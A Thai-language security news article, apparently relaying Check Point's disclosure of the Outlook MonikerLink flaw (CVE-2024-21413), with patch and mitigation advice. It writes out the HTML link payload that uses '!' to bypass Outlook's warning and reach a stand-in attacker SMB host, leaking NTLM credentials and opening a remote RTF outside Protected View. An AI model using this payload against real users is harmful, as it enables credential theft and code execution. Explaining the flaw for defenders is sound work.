นักวิจัยจาก Check Point Research ได้เผยแพร่รายงานการวิเคราะห์ Attack Vectors ที่อาจจะเกิดขึ้นกับช่องโหว่ล่าสุดใน Microsoft Outlook โดยช่องโหว่ดังกล่าว เกิดจากการที่ Outlook จัดการกับไฮเปอร์ลิงก์อย่างไม่เหมาะสม
ลักษณะการทำงานของไฮเปอร์ลิงก์บน Outlook คือ หากไฮเปอร์ลิงก์ขึ้นต้นด้วย “http://” หรือ “https://” Outlook ก็จะเรียกใช้งาน default เว็บเบราว์เซอร์บน Windows และเปิด URL ของเว็บไซต์นั้น ซึ่งเป็นพฤติกรรมปกติของ Outlook
แต่หากเป็นโปรโตคอลอื่นนอกเหนือจาก http, https เช่น หากลิงก์เริ่มต้นด้วยโปรโตคอล URL ของแอปพลิเคชัน และ Outlook คาดว่าโปรโตคอล URL นั้นอาจมีความเสี่ยงด้านความปลอดภัย ตัวอย่างเช่น โปรโตคอล URL "Skype" ในลักษณะนี้
*<a href="skype:SkypeName?call">Call me on Skype</a>*
หากผู้ใช้งานคลิกลิงก์ลักษณะดังกล่าวก็จะได้รับการเตือนว่าลิงก์อาจไม่ปลอดภัย
โดยหากลองใช้โปรโตคอล "file://" เพื่อชี้ไปที่ไฟล์ Word ที่อยู่ภายนอกในลักษณะนี้
*<a href="file:///\\10.10.111.111\test\test.rtf">CLICK ME</a>*
เมื่อคลิกที่ไฮเปอร์ลิงก์จะไม่มีข้อความเตือนในลักษณะเหมือนกับโปรโตคอล URL "Skype" ก่อนหน้านี้ แต่จะมีการแสดงข้อความแสดงข้อผิดพลาดแก่ผู้ใช้งานในลักษณะนี้
ซึ่งถือเป็นเรื่องที่ดีในด้านความปลอดภัยเนื่องจากหาก Outlook อนุญาตให้ผู้ใช้เข้าถึงไฟล์ที่อยู่ภายนอก อาจทำให้ข้อมูล NTLM credential ในเครื่องผู้ใช้งานรั่วไหลออกไป เนื่องจากการเข้าถึงไฟล์จากภายนอกจะต้องใช้งานผ่านโปรโตคอล SMB ซึ่งจะต้องใช้ข้อมูล credential ในเครื่องสำหรับการตรวจสอบสิทธิ์
MonikerLink Bug
อย่างไรก็ตาม หากทำการแก้ไขลิงก์ด้านบนเล็กน้อย เช่น
*<a href="file:///\\10.10.111.111\test\test.rtf!something">CLICK ME</a>*
โดยการเพิ่มเครื่องหมาย “!” ที่ส่วนท้ายของ "test.rtf" และยังเพิ่มอักขระสุ่ม "something"
ลิงก์ดังกล่าวจะสามารถ bypass การแจ้งเตือนด้านความปลอดภัยของ Outlook ที่กล่าวถึงก่อนหน้านี้ และ Outlook จะยังคงพยายามเข้าถึงไฟล์จากภายนอกที่ "\\10.10.111.111\test\test.rtf" เมื่อผู้ใช้คลิกลิงก์
สิ่งที่น่าสังเกตคือเพียงแค่ใส่เครื่องหมาย “!” ก็จะสามารถเปลี่ยนลักษณะการทำงานของ Outlook ไปได้
ผลกระทบที่เกิดขึ้น
1. ข้อมูล NTLM credential อาจรั่วไหลออกไป เนื่องจากความพยายามในการเข้าถึงไฟล์ "test.rtf" ที่อยู่ภายนอกจะใช้โปรโตคอล SMB (port 445) จึงเป็นสาเหตุให้ NTLM credential รั่วไหลออกไปขณะพยายามเรียกใช้ไฟล์ดังกล่าว ซึ่งเป็นลักษณะเดียวกันกับวิธีการโจมตีแบบ NTLM credential-leaking ลักษณะอื่น ๆ
2. ความเสี่ยงที่อาจเกิดจาก attack vector รูปแบบอื่น ไปจนถึงการโจมตีแบบ code execution
โดยจากการวิเคราะห์เชิงลึกของ Check Point แสดงให้เห็นว่า Outlook จะถือว่าลิงก์เป็น "Moniker Link" ซึ่ง Monikers เป็นหนึ่งในแนวคิดหลักของ Component Object Model ("COM") บน Windows
ในทางเทคนิค Outlook จะเรียก API "ole32!MkParseDisplayName()" เพื่อดำเนินการ โดยแยกวิเคราะห์สตริง Moniker Link และใช้สตริงนั้นเพื่อค้นหา COM objects
การทำงานของ Component Object Model ("COM") ค่อนข้างซับซ้อน แต่สำหรับสถานการณ์นี้ Outlook เรียก COM APIs “MkParseDisplayName()” เพื่อดำเนินการ โดยขึ้นอยู่กับแอปพลิเคชันเป้าหมาย ("COM server") ว่าจะส่ง COM object อะไร และอย่างไรกลับมา กระบวนการนี้เหมือนกับการเรียกใช้แอปพลิเคชันภายนอกจากแอปพลิเคชันอีกทีหนึ่ง แต่การทำงานของ COM ซับซ้อนกว่านั้นมาก
จากตัวอย่างข้างต้น เนื่องจากชื่อไฟล์ลงท้ายด้วย ".rtf" จึงมีการเรียกใช้ Microsoft Word เพื่อค้นหา COM object ซึ่งกระบวนการนี้โดยพื้นฐานแล้วจะเป็นดังนี้
1. Windows รัน Microsoft Word เป็น COM server ในเบื้องหลังโดยไม่แสดง Word UI ปกติ
2. โดยในเบื้องหลัง Word จะเปิด และดำเนินการเรียกใช้งานไฟล์ "test.rtf" จาก moniker สตริง "\\10.10.111.111\test\test.rtf" หลังจากนั้นจะพยายามค้นหา object สำหรับ moniker จากสตริง "something"
โดยจากการที่ Word จะเปิด และเรียกใช้งานไฟล์ "test.rtf" ซึ่งอยู่บนเซิร์ฟเวอร์ที่ถูกควบคุมจากผู้โจมตี ทำให้อาจทำให้เกิดการโจมตีในลักษณะอื่น ๆ ตามมาได้ ซึ่งจากการทดสอบของ Check Point พบว่าไฟล์ .rtf ของ Check Point ทำให้ process "WINWORD.EXE" หยุดการทำงานได้ แสดงให้เห็นว่าไฟล์ RTF ดังกล่าวถูกเรียกใช้งานได้แล้ว
ที่อันตรายกว่านั้นคือ กระบวนการทั้งหมดจะไม่เกี่ยวข้องกับโหมด Protected View ดังนั้นวิธีการโจมตีรูปแบบนี้จะสามารถ bypass โหมด Protected View ของ Microsoft ได้ ซึ่งจะทำให้ผู้โจมตีสามารถสั่งรันโค้ดบนเครื่องของเหยื่อได้ง่ายขึ้น
การป้องกัน และการลดผลกระทบที่อาจเกิดขึ้น
Check Point ยืนยันว่าช่องโหว่ MonikerLink นี้กระทบกับ Windows 10/11 + Microsoft 365 (Office 2021) เวอร์ชันล่าสุด รวมไปถึง Office รุ่น/เวอร์ชันอื่น ๆ ก็อาจได้รับผลกระทบเช่นกัน เนื่องจากปัญหานี้อยู่ในระบบของ Windows/COM มานานหลายปี เนื่องจากปัญหาดังกล่าวอยู่ในแกนหลักของ COM API
โดย Check Point ได้รายงานปัญหานี้ไปยัง Microsoft Security Response Center (MSRC) เรียบร้อยแล้ว ซึ่งปัจจุบัน Microsoft ได้ออกแพตซ์อัปเดตด้านความปลอดภัยสำหรับ Outlook ออกมาในแพตซ์ Patch Tuesday (CVE-2024-21413) ประจำเดือนกุมภาพันธ์ โดยมีคะแนน CVSS อยู่ที่ 9.8 จึงแนะนำให้ผู้ใช้งาน Outlook ทุกคนอัปเดตแพตซ์โดยเร็วที่สุด
รวมถึง Check Point ได้ออกมาตรการลดผลกระทบจากช่องโหว่สำหรับผู้ใช้งานออกมาดังนี้
- Check Point Email Security สามารถป้องกันการโจมตีรูปแบบดังกล่าวได้ตั้งแต่วันที่ 25 ตุลาคม 2023
- ทีมวิจัยด้านเครือข่ายของ Check Point ได้พัฒนาการป้องกันบน IPS ด้วยชื่อ "Microsoft Outlook Malicious Moniker Link Remote Code Execution (CVE-2024-21413)" เพื่อป้องกันการโจมตีโดยใช้ช่องโหว่นี้ ซึ่งผู้ใช้งาน IPS ของ Check Point จะได้รับการป้องกันจากช่องโหว่นี้ก่อนที่จะมีการเปิดเผยตั้งแต่วันที่ 15 พฤศจิกายน 2023
You must be logged in to post a comment.